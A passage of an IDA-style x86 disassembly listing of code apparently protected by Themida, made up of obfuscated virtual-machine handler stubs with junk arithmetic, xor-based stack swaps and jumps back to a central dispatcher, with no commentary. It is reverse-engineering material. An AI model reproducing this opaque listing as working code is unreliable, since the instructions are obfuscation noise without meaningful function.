esi, 4 jmp loc_54F5CA ; --------------------------------------------------------------------------- loc_554BA5: ; CODE XREF: Themida_:00551EC5j and eax, ebp mov ebp, [esp] jmp loc_551235 ; --------------------------------------------------------------------------- loc_554BAF: ; CODE XREF: Themida_:00554403j push edx mov edx, 4 add esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_557F49 ; --------------------------------------------------------------------------- loc_554BC6: ; CODE XREF: Themida_:00557879j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx jmp loc_5586E3 ; --------------------------------------------------------------------------- loc_554BDC: ; CODE XREF: Themida_:0055829Ej mov bx, ax mov eax, [esp] jmp loc_553266 ; --------------------------------------------------------------------------- loc_554BE7: ; CODE XREF: Themida_:0054F78Ej add ecx, 51972B0Fh jmp loc_551D67 ; --------------------------------------------------------------------------- loc_554BF2: ; CODE XREF: Themida_:00553E37j add al, bh sub al, 0Fh mov ebx, [esp] add esp, 4 sub bl, 3Eh sub esp, 4 mov [esp], ecx jmp loc_555C14 ; --------------------------------------------------------------------------- loc_554C0D: ; CODE XREF: Themida_:005554F7j pop edi push edx jmp loc_5582B6 ; --------------------------------------------------------------------------- loc_554C14: ; CODE XREF: Themida_:005541D6j push 3D0Eh mov [esp], edx push esp pop edx push ecx mov ecx, 62B250F5h push ebx mov ebx, 54494790h add ecx, ebx jmp loc_552DEA ; --------------------------------------------------------------------------- loc_554C31: ; CODE XREF: Themida_:0055AC33j mov eax, esp jmp loc_5543EE ; --------------------------------------------------------------------------- loc_554C38: ; CODE XREF: Themida_:00552FF2j mov edx, esp sub esp, 4 mov [esp], eax mov eax, 4 add edx, eax pop eax push esi mov esi, 17E30849h jmp loc_558028 ; --------------------------------------------------------------------------- loc_554C53: ; CODE XREF: Themida_:0055A691j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554C58: ; CODE XREF: Themida_:00553FB1j push eax mov eax, 2B9E104Fh jmp loc_556287 ; --------------------------------------------------------------------------- loc_554C63: ; CODE XREF: Themida_:00554991j mov [esp], edi mov edi, 75685972h add ecx, edi pop edi shl ecx, 8 add ecx, 0C991032Ah mov edx, ecx pop ecx jmp loc_559225 ; --------------------------------------------------------------------------- loc_554C7F: ; CODE XREF: Themida_:005560C6j add ebx, 0F7EFF004h add esi, ebx pop ebx push ebp mov ebp, 4 jmp loc_558B0B ; --------------------------------------------------------------------------- loc_554C93: ; CODE XREF: Themida_:005596EAj add ebx, eax pop eax add ebp, ebx pop ebx push esi mov esi, 71037DB0h neg esi add esi, 0B36BC47Bh jmp loc_5589F7 ; --------------------------------------------------------------------------- loc_554CAC: ; CODE XREF: Themida_:00559A28j push esp jmp loc_5591CC ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esp push 7B8Fh mov [esp], ebx jmp loc_5534B9 ; --------------------------------------------------------------------------- loc_554CC5: ; CODE XREF: Themida_:0055A639j and eax, 674E5F36h xor eax, 55EE34C2h jmp loc_550EC6 ; --------------------------------------------------------------------------- loc_554CD4: ; CODE XREF: Themida_:00553AF2j shl ebp, 1 or ebp, 447C62EAh sub ebp, 13F7A6FCh and esi, ebp pop ebp push edx mov edx, 72B401CAh add edx, 6D40CCE2h jmp loc_554111 ; --------------------------------------------------------------------------- loc_554CF6: ; CODE XREF: Themida_:005552DCj mov [esp], ebp push edi mov edi, 0F8977D3h mov ebp, 3E740DA9h xor ebp, edi mov edi, [esp] add esp, 4 sub ebp, 1 or ebp, 51604544h shl ebp, 1 push ecx mov ecx, 5D6B3B74h xor ecx, 0BE90398Fh sub ebp, ecx pop ecx and [edi+1Ch], ebp jmp loc_554F97 ; --------------------------------------------------------------------------- loc_554D34: ; CODE XREF: Themida_:00554198j add esi, 4 sub esi, 4 jmp loc_55A1D0 ; --------------------------------------------------------------------------- loc_554D42: ; CODE XREF: Themida_:00553E4Bj xor esi, 797F47FFh jmp loc_5533EA ; --------------------------------------------------------------------------- loc_554D4D: ; CODE XREF: Themida_:00555475j push edx push 1455B2Dh pop edx inc edx sub edx, 1C460FA3h shr edx, 1 jmp loc_559DF6 ; --------------------------------------------------------------------------- loc_554D62: ; CODE XREF: Themida_:005571BCj push dword ptr [esp] pop eax jmp loc_5583BB ; --------------------------------------------------------------------------- loc_554D6B: ; CODE XREF: Themida_:00558127j neg eax xor eax, 3C1B98DBh or ebx, eax pop eax sub ebx, 3EF77E47h add ecx, ebx jmp loc_54F48C ; --------------------------------------------------------------------------- loc_554D82: ; CODE XREF: Themida_:00553A3Bj push edx push 75DD2C87h pop edx or edx, 11AA38D7h shr edx, 2 xor edx, 1D7FCF31h add edi, edx mov edx, [esp] add esp, 4 push 73A5h mov [esp], eax mov eax, 2 sub edi, eax jmp loc_554345 ; --------------------------------------------------------------------------- loc_554DB7: ; CODE XREF: Themida_:0055AD71j mov edi, 42172314h or edi, 23D86BE0h or edi, 377A3F1Ah xor edi, 77FF7FFAh add ebx, edi jmp loc_558DEC ; --------------------------------------------------------------------------- loc_554DD5: ; CODE XREF: Themida_:005529DCj push dword ptr [esp+4] pop eax jmp loc_558EB2 ; --------------------------------------------------------------------------- loc_554DDF: ; CODE XREF: Themida_:00555144j xor edx, 7419CDBBh xor ebx, edx pop edx add eax, ebx pop ebx jmp loc_558066 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554DFE: ; CODE XREF: Themida_:00553C15j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_559F50 ; --------------------------------------------------------------------------- loc_554E15: ; CODE XREF: Themida_:0055700Dj shl eax, cl sub esp, 4 mov [esp], esi mov esi, 7AE7948h jmp loc_55304F ; --------------------------------------------------------------------------- loc_554E27: ; CODE XREF: Themida_:00559E93j add ebx, 4 sub ebx, 4 sub esp, 4 jmp loc_555E8E ; --------------------------------------------------------------------------- loc_554E3E: ; CODE XREF: Themida_:0054FE3Fj mov edx, 4 add eax, edx jmp loc_558B66 ; --------------------------------------------------------------------------- loc_554E4A: ; CODE XREF: Themida_:0055911Ej mov [esp], ebx push esp pop ebx push ecx jmp loc_553E77 ; --------------------------------------------------------------------------- loc_554E55: ; CODE XREF: Themida_:0055A1E9j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554E5A: ; CODE XREF: Themida_:005594F0j sub eax, ebx pop ebx mov ebp, [esp] add esp, 4 jmp loc_55745A ; --------------------------------------------------------------------------- loc_554E68: ; CODE XREF: Themida_:00556842j mov bh, dh jmp loc_55076C ; --------------------------------------------------------------------------- loc_554E6F: ; CODE XREF: Themida_:00555E22j add esp, 4 jmp loc_55743E ; --------------------------------------------------------------------------- loc_554E7A: ; CODE XREF: Themida_:005592D7j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554E7F: ; CODE XREF: Themida_:0055759Ej ror byte ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554E88: ; CODE XREF: Themida_:00552DFCj push esi jmp loc_553038 ; --------------------------------------------------------------------------- loc_554E8E: ; CODE XREF: Themida_:0054FEF5j sub esp, 4 mov [esp], edx mov edx, esp jmp loc_558B2A ; --------------------------------------------------------------------------- loc_554E9E: ; CODE XREF: Themida_:005542BFj pop ecx add bl, 0A8h jmp loc_550CE4 ; --------------------------------------------------------------------------- loc_554EA7: ; CODE XREF: Themida_:005577DDj pop ecx jmp loc_54EF3B ; --------------------------------------------------------------------------- loc_554EAD: ; CODE XREF: Themida_:0054F9FEj pop eax add ebx, 0D3871138h jmp loc_5550B3 ; --------------------------------------------------------------------------- loc_554EB9: ; CODE XREF: Themida_:005523DDj push small 2E6Ah mov [esp], cx movzx cx, al push cx pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554ECD: ; CODE XREF: Themida_:0054EE3Cj push 5081h mov [esp], edx mov dh, 0D8h sub esp, 4 mov [esp], ecx push 1C04h mov [esp], edx mov dh, 0EEh mov ch, dh pop edx push edx mov dh, 8Dh neg dh jmp loc_5514C4 ; --------------------------------------------------------------------------- loc_554EF4: ; CODE XREF: Themida_:0055ACFBj add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554F15: ; CODE XREF: Themida_:00555284j push esp pop ecx add ecx, 4 jmp loc_55B19F ; --------------------------------------------------------------------------- lodsb xor al, bl sub esp, 4 mov [esp], edx push 142Dh mov [esp], ebx mov bh, 0FCh jmp loc_5568AA ; --------------------------------------------------------------------------- loc_554F3D: ; CODE XREF: Themida_:0054EC03j xchg ebx, ecx push ebx mov ebx, 0E996D8Fh sub ebx, 63031576h jmp loc_5595BB ; --------------------------------------------------------------------------- loc_554F50: ; CODE XREF: Themida_:0055804Bj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] movsx ecx, ax push esi push 60FAh mov [esp], esp add dword ptr [esp], 4 jmp loc_5587BE ; --------------------------------------------------------------------------- loc_554F7A: ; CODE XREF: Themida_:00558BC5j xor ebp, 77A41FC8h sub ebp, 4DD32F7Eh shr ebp, 5 add ebp, 0F72BDA0h xor edi, ebp pop ebp jmp loc_556F19 ; --------------------------------------------------------------------------- loc_554F97: ; CODE XREF: Themida_:00554D2Fj mov ebp, [esp] push eax push esp jmp loc_559241 ; --------------------------------------------------------------------------- loc_554FA1: ; CODE XREF: Themida_:00550EDAj pop ecx push ecx mov ecx, 4 push esi mov esi, 69584FAEh jmp loc_552B19 ; --------------------------------------------------------------------------- loc_554FB3: ; CODE XREF: Themida_:005575D3j dec edx add edx, 66306CF7h sub edx, 6B5040A9h xor edx, 49B14AF0h add ebp, edx jmp loc_55175E ; --------------------------------------------------------------------------- loc_554FCD: ; CODE XREF: Themida_:005501C8j add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] pop esp jmp loc_5560CB ; --------------------------------------------------------------------------- loc_554FE0: ; CODE XREF: Themida_:00552A98j pop ebp jmp loc_55A262 ; --------------------------------------------------------------------------- loc_554FE6: ; CODE XREF: Themida_:0055B066j add esp, 4 shr dl, 2 neg dl add dl, 0DEh and dl, 16h and dl, 2Ch add dl, 0C8h jmp loc_558620 ; --------------------------------------------------------------------------- loc_555002: ; CODE XREF: Themida_:00554017j pop ecx add edx, 0F3A1DB0Dh and eax, edx mov edx, [esp] push esi push 3ECBh mov [esp], esp add dword ptr [esp], 4 pop esi push eax mov eax, 26B5799Eh push eax jmp loc_55AC80 ; --------------------------------------------------------------------------- loc_555028: ; CODE XREF: Themida_:00551159j shr ebx, 7 shr ebx, 3 add ebx, 428F0AEBh and ebx, 76DD0700h not ebx sub ebx, 5D5AEE7Eh sub eax, ebx pop ebx jmp loc_55B06B ; --------------------------------------------------------------------------- loc_55504A: ; CODE XREF: Themida_:00551E1Dj add bl, 0 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_555059: ; CODE XREF: Themida_:00555ABCj push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_5550F0 ; --------------------------------------------------------------------------- loc_555086: ; CODE XREF: Themida_:005556ADj neg ebp push edi mov edi, 3D132D20h or edi, 78A17780h inc edi jmp loc_559D76 ; --------------------------------------------------------------------------- loc_55509A: ; CODE XREF: Themida_:0054F5ABj xor ebp, 3DCA05F3h not ebp or ebp, 61C43316h sub ebp, 190F2834h jmp loc_5594D6 ; --------------------------------------------------------------------------- loc_5550B3: ; CODE XREF: Themida_:00554EB4j mov eax, ebx pop ebx push ecx mov ecx, 7E1C251Bh add eax, ecx pop ecx push 2FD9h mov [esp], edx mov edx, 0A70FA2F8h jmp loc_553FB6 ; --------------------------------------------------------------------------- loc_5550D1: ; CODE XREF: Themida_:005594D1j add ebp, eax pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push eax jmp loc_558313 ; --------------------------------------------------------------------------- loc_5550F0: ; CODE XREF: Themida_:00555081j push dword ptr [esp] jmp loc_55231D ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi jmp loc_55AC1D ; --------------------------------------------------------------------------- loc_55510A: ; CODE XREF: Themida_:0055960Ej pop ecx add eax, 24EF4C01h mov ebp, [esp] push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_559779 ; --------------------------------------------------------------------------- loc_555133: ; CODE XREF: Themida_:0055933Ej sub edx, 3E1C3DAFh sub edx, 5057EEDh not edx dec edx shr edx, 1 jmp loc_554DDF ; --------------------------------------------------------------------------- loc_555149: ; CODE XREF: Themida_:00557A8Aj mov edi, 4 add [esp+4], edi pop edi pop eax push 2B6Ah mov [esp], edi jmp loc_55004C ; --------------------------------------------------------------------------- loc_555161: ; CODE XREF: Themida_:00552F3Bj sub ecx, 0B71A0925h push ecx xor dword ptr [esp], 73C80387h pop ebx xor ebx, 73C80387h pop ecx mov edi, 0C6487BA6h sub edi, ebx pop ebx add eax, edi pop edi add eax, ebx push edi push eax mov eax, 1A655393h sub eax, 0A012DEC8h push ebx jmp loc_55A1DC ; --------------------------------------------------------------------------- loc_555196: ; CODE XREF: Themida_:00550047j add ch, 8Bh jmp loc_54FD2F ; --------------------------------------------------------------------------- loc_55519E: ; CODE XREF: Themida_:00556D13j mov eax, esp jmp loc_54F9AF ; --------------------------------------------------------------------------- loc_5551A5: ; CODE XREF: Themida_:0055947Ej push ecx jmp loc_5520C1 ; --------------------------------------------------------------------------- loc_5551AB: ; CODE XREF: Themida_:00555969j xchg ebp, [esp] pop esp xchg eax, [esp] mov esp, [esp] imul ecx push 41B3h mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], eax mov eax, 4 add ebp, eax jmp loc_550F7E ; --------------------------------------------------------------------------- loc_5551D3: ; CODE XREF: Themida_:00558BFEj add esp, 4 sub ebp, 635533BEh add ebp, ecx add ebp, 635533BEh pop ecx xchg ebp, [esp] jmp loc_550B68 ; --------------------------------------------------------------------------- loc_5551ED: ; CODE XREF: Themida_:00556AC2j pop edi push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_557F26 ; --------------------------------------------------------------------------- loc_55520C: ; CODE XREF: Themida_:005552A2j xor [esp], ecx xor ecx, [esp] jmp loc_553569 ; --------------------------------------------------------------------------- loc_555217: ; CODE XREF: Themida_:0054F902j add ebx, ecx pop ecx jmp loc_556B8A ; --------------------------------------------------------------------------- loc_55521F: ; CODE XREF: Themida_:0054F663j pop edx xor esi, [esp] xor [esp], esi jmp loc_55439D ; --------------------------------------------------------------------------- loc_55522B: ; CODE XREF: Themida_:005504EBj pop ebx add ebp, esi pop esi add ebp, 4 jmp loc_559AB3 ; --------------------------------------------------------------------------- loc_555237: ; CODE XREF: Themida_:005595DEj pop ax jmp loc_551E0F ; --------------------------------------------------------------------------- loc_55523E: ; CODE XREF: Themida_:0054F860j pop ebx add ebp, 2 jmp loc_552804 ; --------------------------------------------------------------------------- loc_555247: ; CODE XREF: Themida_:0055AA74j shr edx, 1 push ebp mov ebp, 7CFE7234h shr ebp, 6 not ebp shr ebp, 3 dec ebp neg ebp jmp loc_552C96 ; --------------------------------------------------------------------------- loc_55525F: ; CODE XREF: Themida_:00556646j mov [esp], eax jmp loc_550154 ; --------------------------------------------------------------------------- loc_555267: ; CODE XREF: Themida_:00556665j sub ebx, 486E3539h mov [ebx], al jmp loc_558E8F ; --------------------------------------------------------------------------- loc_555274: ; CODE XREF: Themida_:0055302Bj add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_554F15 ; --------------------------------------------------------------------------- loc_555289: ; CODE XREF: Themida_:00556778j push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_55520C ; --------------------------------------------------------------------------- loc_5552A7: ; CODE XREF: Themida_:00553143j mov edi, ebx pop ebx sub [esp+4], edi jmp loc_5584D2 ; --------------------------------------------------------------------------- loc_5552B3: ; CODE XREF: Themida_:0054FA6Ej push 3AA93093h pop ecx inc ecx not ecx push edi mov edi, 0A1E15CDh add edi, 0FFFFFFFFh sub edi, 0CCACA04Dh and ecx, edi pop edi jmp loc_558545 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_554CF6 ; --------------------------------------------------------------------------- loc_5552E1: ; CODE XREF: Themida_:00554B7Aj mov esi, esp sub esp, 4 mov [esp], eax mov eax, 4 add esi, eax pop eax push edi push ecx jmp loc_55386D ; --------------------------------------------------------------------------- loc_5552FB: ; CODE XREF: Themida_:00556C01j mov ecx, eax mov eax, [esp] add esp, 4 push esi mov esi, 37A5C9A6h push 4162h mov [esp], esi pop edx jmp loc_551D4A ; --------------------------------------------------------------------------- loc_555317: ; CODE XREF: Themida_:00556065j sub eax, 7A51ADFh xor eax, 8D9D221Ah add edi, eax jmp loc_55293B ; --------------------------------------------------------------------------- loc_555328: ; CODE XREF: Themida_:005508BDj not eax add eax, 5ACF02A0h sub eax, 6F8DF9CEh xor ecx, eax pop eax jmp loc_557E0E ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp pop ebp push 68CDh jmp loc_5558F1 ; --------------------------------------------------------------------------- loc_55534D: ; CODE XREF: Themida_:0054F6F6j sub ecx, edi jmp loc_55AA57 ; --------------------------------------------------------------------------- loc_555354: ; CODE XREF: Themida_:0055469Bj mov ebx, [esp] add esp, 4 xor edx, ebp mov ebp, [esp] add esp, 4 push ecx mov ecx, 41485273h xor ecx, 204A3D92h neg ecx push edx mov edx, 0D734194h add edx, 2A20EF79h jmp loc_553E57 ; --------------------------------------------------------------------------- loc_555381: ; CODE XREF: Themida_:0055B140j xchg esi, ecx dec esi push ecx push 16A4h jmp loc_54FCBA ; --------------------------------------------------------------------------- loc_55538F: ; CODE XREF: Themida_:00553E64j sub ecx, edx pop edx add ebx, ecx pop ecx jmp loc_552440 ; --------------------------------------------------------------------------- loc_55539A: ; CODE XREF: Themida_:0054F8D4j push edx xor dword ptr [esp], 7C3B0BFBh pop ecx xor ecx, 7C3B0BFBh mov [edi+20h], ecx mov ecx, [esp] jmp loc_558E46 ; --------------------------------------------------------------------------- loc_5553B4: ; CODE XREF: Themida_:0055A401j mov edx, 0FD37E1Ch and edx, 28611CDCh shl edx, 3 shr edx, 6 push eax mov eax, 1ECD339Dh xor eax, 89E61A0h shr eax, 3 and eax, 39D61AFDh sub eax, 0FFB9E6C8h xor edx, eax pop eax jmp loc_553FFA ; --------------------------------------------------------------------------- loc_5553E5: ; CODE XREF: Themida_:0054F984j not ebx sub ebx, 0E9D9BDC8h jmp loc_55367F ; --------------------------------------------------------------------------- loc_5553F2: ; CODE XREF: Themida_:00553C42j add esp, 4 jmp loc_55316C ; --------------------------------------------------------------------------- loc_5553FA: ; CODE XREF: Themida_:005503A4j add esp, 4 jmp loc_54FC42 ; --------------------------------------------------------------------------- loc_555402: ; CODE XREF: Themida_:00552574j mov al, bh mov cl, al pop eax push ebx mov bl, cl mov ah, bl pop ebx pop ecx mov ch, ah mov eax, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_550945 ; --------------------------------------------------------------------------- loc_555421: ; CODE XREF: Themida_:0054F4A0j push 70C2396h pop ebx or ebx, 5CD702EAh xor ebx, 398817BBh mov eax, ebx pop ebx and ebx, eax jmp loc_5541DB ; --------------------------------------------------------------------------- loc_55543D: ; CODE XREF: Themida_:00559EA4j xor ebp, [esp] xor [esp], ebp jmp loc_5593B8 ; --------------------------------------------------------------------------- loc_555448: ; CODE XREF: Themida_:005532E0j push ecx push 51D945A2h pop ecx jmp loc_5500E9 ; --------------------------------------------------------------------------- loc_555454: ; CODE XREF: Themida_:00554937j pop esp mov [esp], esi mov esi, 10B61F0Fh jmp loc_54EC12 ; --------------------------------------------------------------------------- loc_555462: ; CODE XREF: Themida_:00557FFFj mov [esp], ebx jmp loc_559748 ; --------------------------------------------------------------------------- loc_55546A: ; CODE XREF: Themida_:00553B49j pop esi pop edx sub edx, 172B2B98h add edx, eax push ebp jmp loc_554D4D ; --------------------------------------------------------------------------- loc_55547A: ; CODE XREF: Themida_:005563ADj xor edx, 46394161h or edx, 55F3720Ah or edx, 36406DCEh xor edx, 503D65D3h and edx, 61B706E5h add edx, 0DE79FE00h jmp loc_5597AC ; --------------------------------------------------------------------------- loc_5554A3: ; CODE XREF: Themida_:005542CFj xchg edx, [esp] pop esp dec word ptr [esp] pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5554B1: ; CODE XREF: Themida_:00553AD8j add edi, 2FF62F5Ah sub edi, 0A7D54ABBh add ebx, edi pop edi push eax mov eax, 0FDF16C2h jmp loc_55453C ; --------------------------------------------------------------------------- loc_5554CB: ; CODE XREF: Themida_:0055699Cj mov ecx, 0E6A08CD0h xor ebx, ecx jmp loc_55596E ; --------------------------------------------------------------------------- loc_5554D7: ; CODE XREF: Themida_:00558413j mov eax, 55394D61h xor ecx, eax mov eax, [esp] add esp, 4 add ecx, 1 sub ecx, 0FFFFFFFFh add ecx, 47696D8Eh jmp loc_556D54 ; --------------------------------------------------------------------------- loc_5554F5: ; CODE XREF: Themida_:005562B4j add ebp, edi jmp loc_554C0D ; --------------------------------------------------------------------------- loc_5554FC: ; CODE XREF: Themida_:005578D2j mov eax, esp add eax, 4 jmp loc_550544 ; --------------------------------------------------------------------------- loc_555508: ; CODE XREF: Themida_:00553472j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 2C3Dh mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ecx mov ecx, esp push 1814h mov [esp], edi mov edi, 66921851h push edi sub dword ptr [esp], 0FFFFFFFFh jmp loc_55AFC4 ; --------------------------------------------------------------------------- loc_55554C: ; CODE XREF: Themida_:00558448j sub ebp, 1DD123F0h mov ebx, ebp pop ebp mov eax, ebx pop ebx shl eax, 6 jmp loc_5580D5 ; --------------------------------------------------------------------------- loc_555560: ; CODE XREF: Themida_:0055B19Aj pop esp pop dword ptr [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_559592 ; --------------------------------------------------------------------------- loc_555572: ; CODE XREF: Themida_:0054FD5Dj push ebp mov ebp, 2DE97F35h push ecx mov ecx, 726B51C8h not ecx and ecx, 3694196Dh shl ecx, 6 or ecx, 46CD3660h xor ecx, 4DBE6FE2h and ebp, ecx jmp loc_552B03 ; --------------------------------------------------------------------------- loc_55559C: ; CODE XREF: Themida_:00556358j push ecx mov ecx, esp push 7E78h mov [esp], ebp jmp loc_554759 ; --------------------------------------------------------------------------- loc_5555AC: ; CODE XREF: Themida_:00550D55j mov ebx, [esp] jmp loc_559D0B ; --------------------------------------------------------------------------- loc_5555B4: ; CODE XREF: Themida_:00550E80j shl edx, 1 push eax mov eax, 24h jmp loc_55918E ; --------------------------------------------------------------------------- loc_5555C1: ; CODE XREF: Themida_:0055450Ej push esi mov esi, 2EEF7461h shr esi, 7 add esi, 62BA324Dh dec esi jmp loc_55A5AD ; --------------------------------------------------------------------------- loc_5555D6: ; CODE XREF: Themida_:00558EF3j shl edx, 6 not edx neg edx xor edx, 50B776E0h add edx, 0EE421763h add esi, edx pop edx push ebp push esi push 7B1455E6h pop esi shr esi, 3 shr esi, 2 sub esi, 3D8A2ABh mov ebp, esi pop esi sub esi, 79E812A3h add esi, 286F680Fh add esi, ebp sub esi, 286F680Fh push ecx mov ecx, 79E812A3h add esi, ecx jmp loc_555D65 ; --------------------------------------------------------------------------- loc_555624: ; CODE XREF: Themida_:005509B3j push edx mov dl, 12h jmp loc_555B07 ; --------------------------------------------------------------------------- loc_55562C: ; CODE XREF: Themida_:005512E0j add edi, esi pop esi add eax, 4D100565h add eax, edi sub eax, 4D100565h pop edi add eax, 2 xchg eax, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov cl, dl push edx sub esp, 4 mov [esp], eax mov al, cl mov dh, al mov eax, [esp] add esp, 4 mov [edi+eax*4+1], dh pop edx push dword ptr [esp] pop ecx push ebx jmp loc_54F7A8 ; --------------------------------------------------------------------------- loc_55567D: ; CODE XREF: Themida_:00557BADj mov dh, 0A2h jmp loc_55A173 ; --------------------------------------------------------------------------- loc_555684: ; CODE XREF: Themida_:00550F5Fj pop edx jmp loc_55A827 ; --------------------------------------------------------------------------- loc_55568A: ; CODE XREF: Themida_:0055B041j xor ch, 0Ah not ch push 2EB3h mov [esp], ebx mov bl, 30h and ch, bl jmp loc_559A9A ; --------------------------------------------------------------------------- loc_5556A0: ; CODE XREF: Themida_:00555880j pop esp ror dword ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5556AA: ; CODE XREF: Themida_:00554A3Cj and ebp, edx pop edx jmp loc_555086 ; --------------------------------------------------------------------------- loc_5556B2: ; CODE XREF: Themida_:00550748j add dword ptr [esp], 4 pop esi sub esp, 4 mov [esp], edi mov edi, 1AA96D68h jmp loc_55A6FC ; --------------------------------------------------------------------------- loc_5556C7: ; CODE XREF: Themida_:005504F1j add eax, 1B98EB98h mov ebx, eax pop eax add esi, ebx pop ebx jmp loc_553EEF ; --------------------------------------------------------------------------- loc_5556D7: ; CODE XREF: Themida_:0055AFB0j mov ebp, [esp] jmp loc_553FE2 ; --------------------------------------------------------------------------- loc_5556DF: ; CODE XREF: Themida_:00553DA9j pop ebp pop dword ptr [esp] pop esp push esi mov esi, 69A16BD3h jmp loc_5573AB ; --------------------------------------------------------------------------- loc_5556EF: ; CODE XREF: Themida_:00551C06j pop ecx sub esp, 4 mov [esp], edi push esp jmp loc_54FE7A ; --------------------------------------------------------------------------- loc_5556FF: ; CODE XREF: Themida_:00550EF2j mov esi, 21FC2D34h push ebx mov ebx, 60BB06F8h and ebx, 44886BEBh or ebx, 646C0B6Ch neg ebx add ebx, 1419292Fh xor ebx, 9E5E0925h and esi, ebx pop ebx push ebx mov ebx, 28077632h or esi, ebx jmp loc_55A80A ; --------------------------------------------------------------------------- loc_555734: ; CODE XREF: Themida_:0055A3D4j pop ecx add bl, 61h add bl, al sub bl, 61h push dx mov dh, 0CEh sub bl, dh pop dx push eax mov al, 0CAh jmp loc_559AAA ; --------------------------------------------------------------------------- loc_55574D: ; CODE XREF: Themida_:0054FFEFj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_554705 ; --------------------------------------------------------------------------- loc_55575C: ; CODE XREF: Themida_:00553464j xor edx, [esp] mov esp, [esp] jmp loc_557157 ; --------------------------------------------------------------------------- loc_555767: ; CODE XREF: Themida_:0054EC7Ej mov eax, 4 add [esp+4], eax jmp loc_559281 ; --------------------------------------------------------------------------- loc_555775: ; CODE XREF: Themida_:0055AD9Bj push 42586565h pop eax sub eax, 3114F67Eh mov ebx, eax pop eax and ebx, 62927ED5h inc ebx xor ebx, 75E025ABh jmp loc_558E27 ; --------------------------------------------------------------------------- loc_555795: ; CODE XREF: Themida_:00552B6Ej dec esi xor esi, 0D785CF0h jmp loc_558534 ; --------------------------------------------------------------------------- loc_5557A1: ; CODE XREF: Themida_:00552E42j push ebx jmp loc_55086E ; --------------------------------------------------------------------------- loc_5557A7: ; CODE XREF: Themida_:00558E39j sub esp, 4 mov [esp], ebp push 129E6510h mov ebp, [esp] add esp, 4 xor eax, ebp pop ebp sub esp, 4 mov [esp], ecx push edi mov edi, 3FE05F00h add edi, 170A17D0h mov ecx, edi pop edi push edx mov edx, 0FC95B33h push ebp jmp loc_55AC40 ; --------------------------------------------------------------------------- loc_5557DF: ; CODE XREF: Themida_:005583A5j dec cl add cl, 1Bh and cl, 6Dh inc cl add cl, 63h add dh, cl jmp loc_54F805 ; --------------------------------------------------------------------------- lodsd push edi mov edi, esp sub esp, 4 mov [esp], eax mov eax, 4 add edi, eax pop eax sub edi, 4 xchg edi, [esp] jmp loc_5501EA ; --------------------------------------------------------------------------- loc_555816: ; CODE XREF: Themida_:00555ED1j sub eax, 4B081557h add eax, esi jmp loc_552950 ; --------------------------------------------------------------------------- loc_555822: ; CODE XREF: Themida_:00557F7Cj sub esi, 42FB5A2Ch add ecx, esi pop esi add ecx, 4 xchg ecx, [esp] pop esp push eax sub esp, 4 jmp loc_54F2A7 ; --------------------------------------------------------------------------- loc_55583B: ; CODE XREF: Themida_:0055AB6Fj pop ax dec cl push ebx push edx mov dl, 62h mov bh, dl jmp loc_54F4D5 ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 83h add al, 24h add al, 58h sub esp, 4 mov [esp], esi push ecx mov ecx, 4 mov esi, ecx pop ecx add eax, esi pop esi add eax, 4 xchg eax, [esp] pop esp add esi, 4 add esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5556A0 ; --------------------------------------------------------------------------- loc_555885: ; CODE XREF: Themida_:00551EB2j pop ecx mov esi, [esp] add esp, 4 sub edi, eax pop eax xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_559C9C ; --------------------------------------------------------------------------- loc_55589D: ; CODE XREF: Themida_:00555EF1j push edi mov edi, 400925FDh dec edi neg edi shl edi, 8 jmp loc_558AF4 ; --------------------------------------------------------------------------- loc_5558AE: ; CODE XREF: Themida_:0054F66Aj sub dl, 9Dh jmp loc_559825 ; --------------------------------------------------------------------------- loc_5558B6: ; CODE XREF: Themida_:00552FE1j push eax jmp loc_551EB7 ; --------------------------------------------------------------------------- 